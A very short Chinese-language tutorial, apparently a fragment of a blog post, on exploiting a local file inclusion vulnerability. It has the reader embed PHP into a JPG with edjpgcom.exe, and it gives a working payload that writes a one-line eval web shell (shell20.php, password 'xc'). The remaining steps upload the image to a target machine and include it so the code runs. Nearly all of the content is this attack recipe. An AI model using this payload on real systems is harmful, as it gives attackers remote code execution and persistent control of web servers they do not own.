文件包含漏洞（本地包含）

第一步：制作图片木马（所需工具edjpqcom.exe） 将一个jpg文件拖入edjpgcom.exe 输入在含有文件包含漏洞文件夹中创建一句话木马的命令： <?fputs(fopen("shell20.php","w"),'<?php eval($_POST[xc]);?>')?> xc为连接木马密码 成功创建图片木马 使用靶机上传该jpg木马 使用文件包含漏洞包含该jpg，使得其中代码得以执行

>>阅读原文<<